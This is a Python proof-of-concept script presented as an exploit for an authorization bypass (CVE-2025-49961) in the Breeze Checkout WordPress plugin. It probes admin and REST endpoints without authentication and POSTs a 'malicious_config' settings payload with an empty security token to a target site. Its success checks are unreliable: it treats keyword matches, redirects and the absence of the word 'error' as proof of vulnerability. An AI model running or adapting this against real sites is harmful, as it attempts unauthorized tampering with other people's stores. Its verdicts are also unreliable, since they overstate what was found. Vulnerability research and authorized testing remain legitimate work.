# CVE-2025-49961 PoC - Breeze Checkout Authorization Bypass
# Target: WordPress site with Breeze Checkout plugin <= 1.4.0
# Type: Missing Authorization / Broken Access Control
import requests
import sys
from urllib.parse import urljoin
def check_vulnerability(target_url):
"""
Check if target is vulnerable to CVE-2025-49961
"""
print(f"[*] Testing target: {target_url}")
print(f"[*] CVE-2025-49961 - Breeze Checkout Authorization Bypass\n")
# Vulnerable endpoints that lack authorization checks
vulnerable_endpoints = [
'/wp-admin/admin-ajax.php',
'/wp-json/breeze-checkout/v1/',
'/wp-admin/admin.php?page=breeze-settings',
'/wp-content/plugins/breeze-checkout/includes/'
]
results = []
for endpoint in vulnerable_endpoints:
full_url = urljoin(target_url, endpoint)
# Test unauthenticated access to admin functions
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
'Content-Type': 'application/x-www-form-urlencoded'
}
try:
# Attempt 1: Direct access without authentication
response = requests.get(full_url, headers=headers, timeout=10, verify=False)
# Check for signs of authorization bypass
if response.status_code == 200:
# Check if response contains sensitive data
if any(keyword in response.text.lower() for keyword in ['admin', 'config', 'settings', 'order', 'checkout']):
print(f"[+] VULNERABLE: {full_url}")
print(f" Status: {response.status_code}")
print(f" Response contains sensitive keywords")
results.append({
'url': full_url,
'status': 'VULNERABLE',
'code': response.status_code
})
elif response.status_code == 403:
print(f"[-] Protected: {full_url} (403 Forbidden)")
else:
print(f"[*] Endpoint: {full_url} (Status: {response.status_code})")
except requests.exceptions.RequestException as e:
print(f"[!] Error testing {full_url}: {e}")
# Test POST-based exploitation
print("\n[*] Testing POST-based exploitation...")
post_endpoints = [
'/wp-admin/admin-ajax.php',
'/wp-json/breeze-checkout/v1/config/update'
]
for endpoint in post_endpoints:
full_url = urljoin(target_url, endpoint)
# Simulated malicious POST data
post_data = {
'action': 'breeze_checkout_admin_action',
'security': '', # Empty security token
'settings': 'malicious_config'
}
try:
response = requests.post(full_url, data=post_data, headers=headers, timeout=10, verify=False)
if response.status_code == 200:
if 'success' in response.text.lower() or 'error' not in response.text.lower():
print(f"[!] Possible vulnerability via POST: {full_url}")
print(f" Server processed request without proper authorization")
results.append({
'url': full_url,
'status': 'POSSIBLY_VULNERABLE',
'method': 'POST'
})
except requests.exceptions.RequestException as e:
print(f"[!] Error in POST test: {e}")
if results:
print(f"\n[+] Found {len(results)} potentially vulnerable endpoints")
print("[*] Manual verification recommended")
return True
else:
print("\n[-] No obvious vulnerabilities detected")
print("[*] Manual testing may be required")
return False
def exploit_demo(target_url):
"""
Demonstration of the authorization bypass (for authorized testing only)
"""
print("\n[*] Exploitation demonstration")
print("[*] This PoC shows how an unauthenticated attacker can access admin functions")
# Example: Access to plugin configuration
config_url = urljoin(target_url, '/wp-admin/admin.php?page=breeze-settings')
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)',
'Cookie': '' # No authentication cookie
}
print(f"[*] Sending unauthenticated request to: {config_url}")
try:
response = requests.get(config_url, headers=headers, timeout=10, verify=False, allow_redirects=False)
if response.status_code in [200, 302]:
print(f"[+] Server responded with status {response.status_code}")
print(f"[+] This indicates missing authorization checks")
print(f"[+] Attacker can now access/modify plugin settings without authentication")
except requests.exceptions.RequestException as e:
print(f"[!] Error: {e}")
if __name__ == '__main__':
if len(sys.argv) < 2:
print("Usage: python cve-2025-49961-poc.py <target_url>")
print("Example: python cve-2025-49961-poc.py http://example.com")
sys.exit(1)
target = sys.argv[1].rstrip('/')
check_vulnerability(target)